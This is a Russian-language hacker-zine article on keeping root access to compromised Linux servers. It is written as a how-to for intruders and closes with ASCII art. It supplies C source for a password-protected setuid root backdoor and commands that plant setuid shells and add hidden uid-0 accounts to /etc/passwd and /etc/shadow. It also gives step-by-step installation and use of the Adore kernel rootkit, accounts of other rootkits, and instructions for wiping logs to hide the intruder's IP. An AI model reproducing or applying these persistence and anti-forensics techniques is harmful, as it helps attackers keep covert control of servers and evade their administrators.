------------------------------------------
#! /usr/share/doc/defaced/2/tandp/uid0.txt
------------------------------------------
------------------
UID=0, ЧТО ДАЛЬШЕ? [ by GipsHackers Crew ]
------------------
Как можно догадаться из названия статьи, речь пойдет о том, что же делать после
получения root привелегий на взломанной машине. Вопрос, конечно, интересный, но
ответ на него вытекает из цели, которую ставил взломщик.
Зачем ты вообще ломал эту машину? Дефейс сайта? Ну делай его быстрее и не парься
читать дальше. Эта статья для тех, кто уже надефейсился вдоволь и теперь
интересуется другим: как удержать контроль после взлома. Если тебе это
интересно, значит ты уже знаешь зачем это нужно и не будешь меня доставать
глупыми вопросами.
Короче, меньше демагогии. Поехали.
В основном все примеры мы будем приводить для linux. Оно и понятно, ведь по
статистике ок.70% взломанных серверов в инете стояли на линуксах.
Начнем с простого.
Часто, после обнаружения взлома, админы фиксят только баги, через которые
хакером был получен root. При этом их обламывает выявлять уязвимости, через
которые вообще был получен доступ к серверу (например, ошибки в скриптах
пользователей). Оно и понятно, если на сервере сотни пользователей со своими
сайтами. Итак, что из этого следует? Получить доступ повторно, например, с
правами nobody будет не так сложно. А вот root тем же способом уже не получить.
Что делать?
С правами суперпользователя мы копируем командный интерпретатор в каталоги, к
которым у нашего пользователя (nobody) будет доступ.
# cp /bin/sh /tmp
# chmod 4555 /tmp/sh
Потом, когда мы вернем доступ с ограниченными правами, вызываем скопированный
нами sh /имя, конечно, лучше придумать другое - что-то вроде
/tmp/phpsession054265525 вполне пойдет ;)/ и пользуемся опять неограниченной
властью =)
$ id
uid=500(nobody) gid=500(nobody) groups=500(nobody)
$ /tmp/sh
# id
uid=500(nobody) gid=500(nobody) euid=0(root) groups=500(nobody)
Однако, следует иметь в виду, что в новых дистрибутивах линукса sh является
ссылкой на bash. Т.е. трюк с копированием суидного sh ничего не даст. В этом
случае нужно использовать csh или ksh.
Что тут не так?
Да вот что: в последнее время ставят заплатки, которые прекращают работу
командного интерпретатора, если действительный и эффективный идентификатор
пользователя не совпадают).
Кроме того, есть программы типа Nabou, которые сканируют систему на предмет
нахождения копий командных интерпретаторов с установленным битом SUID.
Вместо этого можно скомпилировать бекдор с правами root. Неплохой вариант для
этого suidshell.c, написанный Брайаном Хатчем. Смотрим код:
#include <stdio.h>
#include <unistd.h>
#define _XOPEN_SOURCE
int main() {
char passwd[BUFSIZ];
char encrypted[] = "00frf5lpj6212";
system("/bin/stty -echo");
read(0, passwd, BUFSIZ-1);
system("/bin/stty echo");
if ( strcmp( crypt(passwd, encrypted), encrypted) == 0 ) {
setreuid(0,0);
system("/bin/bash");
} else {
sleep(200);
}
}
Компилим:
# gcc -o suidshell suidshell.c -lcrypt
Доступ защищен паролем. Пароль "r00t/m3." и если пароль был введен неверно,
программа делает вид, что выполняет какие-то действия (функция sleep()).
Как работает это чудо:
$ id
uid=500(nobody) gid=500(nobody) groups=500(nobody)
$ ./suidshell
r00t/m3.
# id -a
uid=0(root) gid=500(nobody) groups=500(nobody)
Минус всех этих методов: создание и перемещение файлов с битом SUID обычно очень
быстро замечаются админами. Сейчас модно использование модулей типа logsetuid,
отслеживаюющих попытки запуска суидных прог от лица пользователя, не обладающего
правами root.
Вот еще пара простых методов.
Можно просто добавить нового пользователя с правами рут:
# echo 'r00t:x:0:0:root::/bin/bash' >> /etc/passwd
# echo 'r00t:$1$02RI4e/f$X.XV1SQM38oCWODPIA62v1:::::::' >> /etc/shadow
В данном примере создается пользователь r00t с паролем h4cKm3.
Какие минусы этого метода?
1) время модификации файлов passwd и shadow сразу будет бросаться в глаза;
2) учетная запись с правами root также очень заметна. Поэтому, можно добавить
пользователя, например, в группу disk, что даст этому пользователю возможность
читать файлы других пользователей, обращаясь непосредственно к данным на диске.
Да, и не стоит выбирать приметные имена (насчет r00t мы прикололись). Лучше
воспользоваться чем-то, напоминающим стандартные сервисы, чтоб не бросалось
сразу в глаза при просмотре файла паролей ;)
Другое дело, что при подобном методе добавления пользователя он окажется в самом
конце списка, а это просто очень и очень заметно. Вот, если бы нам добавить его
в середину файла...
Вуаля:
#!/bin/csh
set linecount = `wc -l /etc/passwd`
cd
cp /etc/passwd ./temppass
@ linecount[1] /= 2
@ linecount[1] += 1
split -$linecount[1] ./temppass
echo "eleet::0:0:user:/home/eleet:/bin/sh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo finito...
ТРОЯНСКИЕ КОНИ
Более продвинутым методом является затроянивание системы.
Что троянить в первую очередь? Конечно же, те файлы, которые используются чаще
всего:
login, su, telnet, ftp, passwd, netstat, ifconfig, ls, ps, ssh, find, du, df,
sync, reboot, halt, shutdown...
В принципе, это можно делать руками, но, как говорится, зачем платить дороже?
Набор уже затрояненных программ есть в наборах взломщиков - так называемых
"руткитах" (rootkit).
Наиболее популярный руткит для линукса - t0rnkit. После установки Торнкит
пытается спрятать свое присутствие. Первым делом он закрывает демона логов
(syslogd). Затем заменяет некоторые системные файлы троянскими версиями (du,
find, ifconfig, login, ls, netstat, ps, sz, top) и добавляет троянизированную
копию ssh демона. После всего, t0rnkit запускает в фоне снифер и разрешает
демоны telnet, rsh и finger в /etc/inetd.conf. Троянизированные версии утилит не
показывают администратору запущенные хакером процессы. Сам торнкит можно найти в
/usr/src/.puta, но затрояненная утилита ls этого не покажет =).
Кроме всего сказанного этот руткит открывает порт 47017 (это - по умолчанию,
настроить порт можно в /usr/info/.t0rn/shdcf) для рут доступа в систему, а
протрояненный демон fingerd открывает shell на 2555 порту.
Но, для нас он не подходит, т.к. это руткит, который достаточно легко
определяется и удаляется (сканирование портов и сравнение размеров файлов сразу
все прояснят).
Другой интересный руткит - LRK (Linux Root Kit) - ищите на
packetstormsecurity.org.
Арсенал:
Троянские версии файлов du, find, ls (прячут файлы взломщика), crontab (запуск
скрытых крон-программ), ifconfig (скрывает установленный флаг PROMISC), netstat
(скрывает установленные соединения), tcpd (тоже + обход установленных
ограничений), pidof, ps, top (скрывает запущенные нами процессы), syslogd
(скрывает данные из логов), killall (не дает убить скрытые процессы), inetd,
login, rshd, sshd (дают удаленный доступ с правами root), bindshell (суидный
командный интерпретатор).
Плюс: снифер - ADMsniff, fix - исправляет временные метки, wtwd и z2 -
чистильщики логов.
LRK устанавливается стандартно:
./configure
install
Продвинутый вид троянов - LKM руткиты (LKM - Loadable Kernel Module -
загружаемый модуль ядра). Они заменяют системные вызовы и вносят изменения не в
сами программы, а в их действия. Например, ps использует системный вызов open()
и читает информацию из файлов в /proc. LKM трояны проверяют файлы и связи,
изменяют вывод ядра так, что информацию о действиях хакера не выводится. Эффект
такой же, как и при изменении системных файлов, но все это происходит на уровне
ядра.
Среди LKM руткитов наиболее популярен Adore.
Устанавливаем адоре лкм на тачку.
Скачиваем http://www.team-teso.org/releases/adore-0.42.tgz
Ищем директорию где понадежнее, например /usr/games/.
Естественно, перед установкой Adore надо иметь уже установленный бэкдор, можно
поставить icmpbackdoor (если стоит файрвол на машине но не фильтрует icmp
трафик).
Итак, раcпаковываем
# tar zxvf adore-0.42.tgz
заходим
# cd adore
# less README ;)
конфигурируем
# ./configure
далее смотрим в Makefile и заменяем значение -DELITE_CMD на какое-нибудь другое,
допустим 60003. Сохраняем и далее компилируем
# make
Cкомпилили? Там есть файлик startadore, но мы его трогать не будем, а сделаем
вот как:
грузим адору
# insmod adore.o
прячем
# insmod cleaner.o
чистим
# rmmod cleaner
все, Adore установлена!
Дальше все просто:
bash-2.05b# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]
h hide file
u unhide file
r execute as root
R remove PID forever
U uninstall adore
i make PID invisible
v make PID visible
bash-2.05b#
пользуемся на здоровье ;)
После того как мы спрятали PID адорой, бывает, что нужно его узнать, например
чтоб перезапустить сниффер. Так вот, заходим в
# cd /proc
и пишем следующю строку
# for i in `seq 1 33000`; do test -f $i/cmdline && (cat $i/cmdline; echo $i); done
выполняем, и видим вывод список процессов с пидами. Ищем свой и убиваем. Это
делается так, потому что команда killall programname не будет работать.
Адора и другие LKM руткиты функционируют только, если ядро скомпилировано с
возможностью загрузки динамических модулей. Что же делать, когда это не так?
Если ядро статично, тогда надо использовать новую генерацию руткитов -
работающих не на уровне модулей ядра, а непосредственно с памятью системы.
Kernel Intrusion System (KIS) вместо манипулирования функциями ядра пишет
напрямую в память, меняя таким образом выводы программ. Для этого руткита
необходима только возможность записи в память (в линукс - /dev/kmem).
Особенностью KIS является встроенный бекдор, который трудноопределим даже для
интенсивного сканирования системы. Бекдор активизируется только после отправки
особого TCP пакета на IP жертвы.
ЗАКРЫВАЕМ ЗА СОБОЙ ДВЕРИ
Все это хорошо, но для начала, во избежание глюков (да и вообще) следует
проверить машину на наличие уже установленных руткитов (для этого юзаем
chkrootkit). А когда мы уверены, что наш руткит станет в системе как нужно,
следует прикрыть дыру, через которую мы вломились на машину.
Допустим, взлом был осуществлен через дыру в samba. Мы поломали машину, но дыра
то осталась :) другой залезет вслед за нами, а оно нам надо?
Что мы делаем? Находим smb.conf (он обычно в /etc/smb.conf).
Если установлена самба - большая вероятность того, что там есть локалка. Итак,
смотрим
# /sbin/ifconfig
появятся интерфейсы. Допустим так:
eth0 у которого IP скажем 192.168.1.230
eth1 у которого IP 216.109.118.76
Мы видим локаль, значит нам нужно сделать чтоб samba слушала интерфейс только
eth0. Для этого:
# vi /etc/smb.conf
и добавляем строчки в [global] секцию
bind interfaces only = True
interfaces = eth0
сохраняем и перезапускаем самбу
# /etc/init.d/smb stop
# /etc/init.d/smb start
Вообще-то, не обязательно это делать через скрипты, можно
# killall smbd
# killall nmbd
# /path/to/smbd -D
# /path/to/nmbd -D
ЧИСТИМ ЛОГИ
Да, и еще нужно было бы почистить логи ;), если наш руткит этого не сделает.
http://packetstormsecurity.nl/UNIX/penetration/log-wipers/logcleaner-0.3.c
закачиваем и компилим
# gcc -o log logcleaner-0.3.c
# ./log IP
и этот чистильщик почистит логи на предмет нашего IP ;)
Другую работу по чистке логов лучше проводить вручную.
Итак, что нужно чистить?
/var/log/messages
/var/adm/lastlog
/var/adm/utmp
/var/adm/wtmp
tcp.log если запущен linsniffer
Ну, вот и все, что мы хотели сказать о стандартной работе по закреплению на
взломанном сервере. Можно было бы добавить больше подробностей... Возможно, это
будет восполнено в следующих статьях ;)
ZZZZZZZ ZZZ ZZZ ZZZZZ
ZZZ ZZZZ ZZZ ZZZ ZZZ ZZZ ZZZZ Z Z Z ZZ Z Z Z ZZZZ ZZ Z ZZ ZZZ Z ZZ Z
ZZZ ZZZZZZZZ ZZZ Z Z Z ZZ Z Z Z ZZ Z Z Z Z ZZZ Z ZZ Z Z
ZZZ ZZZZZ ZZZZZZZZ ZZZ ZZ Z Z Z Z Z Z ZZ ZZZ ZZ Z Z Z ZZ ZZ Z Z
ZZZ ZZZ ZZZ ZZZ ZZZ ZZZ Z Z ZZ Z Z Z Z Z ZZ Z ZZZZ Z ZZ Z Z Z Z ZZ ZZ
ZZZZZZZ ZZZ ZZZ ZZZZZ ZZZZZ8OODNNNNNO$ZZZZZ$ZZZZ Z ZZZZ ZZZZ Z ZZ Z
Z8NNNNNNNNNMMMMMNNNNNDZZZZZZZZZZ Z Z Z ZZZZ Z Z ZZ Z
ZZZZZZ8NNMMNNNNNMMMNMMNNMMMMMMMNDZZZ Z Z ZZ ZZ ZZ Z Z Z
ZZZZ ZZZZZZZZZZZZDNNNMMNNMNNMMMNNMMMMMMMNNMMMMMN8ZZZZZZZ ZZ Z Z Z Z ZZZ ZZZZZ ZZZZZZZZZZDMNNMNMMNNMMNNNNNDN8NMMMNMMMMNMMMNNNNN8$ZZ ZZ ZZ ZZZ Z Z $
ZZZZZ Z ZZZZZZNNNNNNNNMNMNNNNNMZZZNMMMMMMMMMMMMMNNNMNMNN8Z$ZZZZ Z Z ZZZZ Z
ZZZZZZ ZZZZZZZZZNMNNNNNMMNMNMNNMNMMDMNMMMMMMMMMMNMMMMMMMNMMNMN$ZZZZZZZZZZZZ ZZ
Z Z ZZZZZZZZZZDNNNNNNNNMMMNMMMNMMMNMMMMMMMMMMMMMMMMMMMMMMMNNNM$ZZZZZZ ZZZ ZZ
ZZZZZZZZZZZZZZZ8NMNMMNNMNMMNNNNNMMMMNMMMMMMMMMMMMMMMMMMMMMMMMNNNMNZZZZ ZZZ ZZZ Z
ZZZZZZZZZZZZNNMMMNNNNNNNMNNNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNN8ZZZZZZZ ZZ ZZ
ZZZ ZZZZZZZZZZZMNMNNNNMNNNNNNNNNMMMMNNNMNMMMNMNMMMMMMMMMMMMNMMMMMNNZZZZZ ZZZZZZ
Z ZZ ZZZZZZZZZONMNNNNNNNNM$................,ZDMNMMMMMMMMMMMMMMMMMNNNZZZ ZZZZZZZ$
Z ZZZ ZZZ ZZZZNNNNNNNNNN+.......................:NMNNNMMMMMMMMMMMNNNNDZZZZZZZZZZ
ZZZ Z ZZZZZZZZNNNNNNNNNO............................:DNNNNMMMMMMMNNNNMNZZZZZZZ Z
ZZZZZZZZZ ZZZZNNNNNNNNN................................NMMMMNMMMMNNMNNNZZZZZZ Z
ZZZZZZZ ZZZZZZ$NNNNNNNN...............................+NNNNNNMMMMNNMMNNZZZZZZ Z
ZZZZ ZZZZZZZZZNNNNNNMM.+=............. ....~..+I?NIN+MDMNNNNNMMMNMNMNNDZZZ ZZZZ
Z Z ZZZZZZZZZZ$NNNNNNN8DNNNNNNNNNDN,..$?$NNNNNNNNNNNNNNNNMNNMMMMMNMMMNNM$Z ZZZZZ
ZZZZZZZZZZZZZZONNNMNNMNMNNNNNNNNNNNN8.:,NNNNNNMMMMMNNNMMMMMMMMMMMNMMMNNNZZZ ZZZ
ZZZZZZZZZZZZ8NNNNNNNNNM~MNMMMNNMNNN7....NNMNNMMNMMNMNMMMNMMMMMMMMMMMMNMZZ ZZZ Z
Z ZZZZZZZZZZ8NNNNNNNNN?DNNNMNND..ZMN:...ZNNNNM8MNMMNMMMMMMMMMMMMMMMMMMNDZZ$ZZZZ
ZZ ZZZZZNNNNNNNNNNNNM.,NNMNNN... O,8...INNNM.:O.INNNNNNNMMNMNMMMMMMMNMMZZZZZ Z
ZZZZDNNNMNNNMNNNNNNNO................ .,NNNN$.....MNNNNNMMNMNMMMMMMMMNMNZO ZZZ
Z OZZZN8NNNNNNNNNNNN:...................DNN,......ONNMNMNMNNNMMMNMMMNMNDZZ Z ZZ
ZZZZZZDOMNMNNNNNNNNN....................NDD...........,ZDNNNNMMMNMMMMMNO8ZZZZZZ
ZZ ZZZZZNMMNNNNNNNNN~...................8N7N........+IN8NNNNNNMMNNMMMMMNN8ZZZ
ZZZZZZZMNNNNNNNNNNNNN............ONNNNNNNNNN........NNNNNNNMMNNNNMNMMMMNNNNNZZZ
ZZZZZZZ8NNNNNNNNNNNNN$...........NNNMNNNNNNNDI......NNNNNNNNNNNMNNNMMMMNNNNN$Z Z
ZZZZZZZNNNNNNNNNNNNNNNI..........O$,$..+NNNNNI.....$NNNNNNNMMMMMNNNMMMMNNNM$ZZ Z
ZZZZZZZMNNNNNNNNNNNNNNN........... Z7..:NN8.......NNNNNNNNNNNMMMNNNNMMNNNNZOZZ
ZZZZZZZDNNNNNNNNNNNNNNN..........,~NN ..NNNN8:.+...8NMNNNMNNNNNNMNNMNNNNNNZ$ZZ Z
ZZZZZZZDNNNNNNNNNNNNNNN$........8NDN:...NNNNNNNN:.7I=NNNNNNNNNNMNNMMNNNNNNZZ
ZZZZ8ODNNNNNNNNNNNNNNNNN....=DNN8,.INNMNNNNNNNNNNNNNNNNNMMMMNNNNNNNNNNMMNNZZZZZ
ZZZZOMMNZ$NNNNNNNNNNNNNN$..,NN,NMMN8D7NMMMNNNNNNNNNNNNNNMNMNNNNNNNNNNNMNNN$ZZZ
ZZZZZZDOZZZNNNNNNNNNNNNNN .ONN.. ........NMNNNNNNNNNNNNNMNMNNNNNNNNNMNNNNNZZ ZZZ
ZZZZZZN$ZZ$8NNNNNNNNNNNNND.ND:...NNNNNNNNNNNNNNNNNNNNNNNNNNNNMMNNNMMMNNNNDZZZZ Z
ZZZZZZMNZOMNNNNNNNNNNNNNNN .....,MNNNMDNNMNNNNNNNNNNNNNNNNNNNMNNNNNNNNNNNZZZZ ZZ
ZZZZZZ8NNNNNNNNNNNNNNNNNNN$,.............,DNMNNNNNNNNNNNNNMNNMNMNMMMNNNN$ZZZ Z
ZZZZZDONNMMMMMNMMMNNNNNNNNNNNN..............7NMNNNNNMMNMNNMMNNMMNMMMMNDNZZZZZ ZZ
ZZZZZZNMMMMMMMMMMMMMNNNNNNNNNNN......... :..NNNNNNNNMMMMMMMMMMMMMMMMNDOZZZZ ZZZZ
ZZZZZZMNMNMMMMMMMMNMMNNNMNNNNNNN.... .NNNNNNNNNNNMMNMMMNMMMMMMMMNMMNMNNOZZZZZ Z
ZZZZZZZZZDMMMMMMMMMMMNMMNNNNNNNNNNNMNNNMMMMMMNMMNMMMMMMMMMMMMMMMMMMMMNMZZZ ZZZZ
ZZZZZZZZZDMMMMNMMMMMMMMMNMNNNMNNMNNNNNMMMMMMMNMMMMMMMMMMMMMMMMMMMMMMMM8ZZZZZZZ
ZZZZZZZZZDNMOZ8NMMMMNMMMMMNMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMZZZZZZZZZ
ZZZZZZZZZZZZZZZMMMMMMMNMNNMZDMNNNMMNMMMMMMMMMMMMMMMMMMMMMMMMNMMMZ8$NNOZZZZZZ Z
ZZZZZZZZZZZZZZZMMMMMMNMMNMMMMNMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMNMNZZNN8ZZZZZZZZZZZ
ZZZZZZZZZDNMMNMMMMMMMMMMMMMMMMNNMNMMMMMMMMMMMMMMMMMMMMMMMMMMNOZZZZZZZZZZZZZZZZZZ
ZZZZ8NMMMMMMMMMMMMMMMNMMMMMMMMMNNNMMMMMMMMMNMMNNNNMMMMMMMMMMM8ZZZZZZZZZZZZZZZZZZ
MNNMNMMMMMMMMMMMMMMMMNMMMMMMMMNMMNNMNMMMMMMMMMMZ8N8MMMMMMMMMN8ZZZZ Z ZZ ZZZZ
MMMMMMMMMMMMMMMMNNMMMNMMMM8OMMZZ$ZNNNMDNMNMMMMMZZDONMMMMMMMMMNZ Z Z Z Z ZZZZZ
MMMMMMMMMMMMMMMDZNMMMMNNMMNNDDNNZZZZDNOZMNMDNNNDMNMMMMMMMMMMMMZZZZZZZZZZZZZZZZZZ
MMMMMMMMMMMMMMDO$$MMMNNNDNNNNNNNNN8ZZZNNNMZMMMMMMMMMMMMMMMMMMNNZZZ Z ZZZZZZZZ
MMMMMMMMMMMMMN8Z$ZZNMMNMDO8MMMMNNNNNNDOZZMMMMMMMMMMMMMMMMMMMZ8D8NZZZZZZZZZ ZZZ
DMMMMMMMMMMMM$ZZZZZONNMMNOONMMMNMNMMMMMNMOMMMMMMMMMMMMMMODNM8ZZZZZZZZZZ ZZZZZZ
Z 8NMMMMMMMMNMOZZZZZDNMMM8OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM8ZZZZZZZMNZZZZZZZ Z
ZZZZMMMMMMMNNMNZZZZZNMMMMNMMMMMMMMMMMMMMMMMMN8NNMMMMMMMNMMMM8ZZZZZ8ZMMMZZZ Z
ZZZZ8MMNMMMMMNDZZZZZONMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMZZZZZ8DZMNOZ ZZZZ
Z ZZZZZZ$MMMMMMMMN8ZZZZMMMMOMNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMZZZZZZNMZZZZZ Z Z
ZZZZZZZZZZOMMMMMMMMDZZZNMMONMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMNMMDZZZZZZMZD8ZZZZ
ZZZZZZZZZ$ZZZZODMMNMMMMMMNMNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNZMMMZZZZOMMZNZZZZZ
ZZ ZZ ZZZZZZZZZZZZZZZZ8MMNMMMMMMMMMMMMMMMMMNMMMMMMMMMNMMMNOZDMZZDZZZMMZZZZZZ Z
Z ZZZ Z Z ZZZ ZZZZZZZZNMMMMMMMNMMMMMMMMMMDZZMMMMMMZZ8ZZN8ZZZMDMOZZMNDZZZ
Z Z ZZZ ZZ ZZZ ZZZZ$NMMMMMOZNMMMMMMMMMNOMMMMMMMMNMOMZZZZZZ$OM8ZMMMZNDNZZ
Z Z ZZ ZZZZZ Z ZZ ZZZZDNMM$DZZZ88MMM8MNNZZZNNZZDZZZZ Z Z ZZZ ZZZMMZNM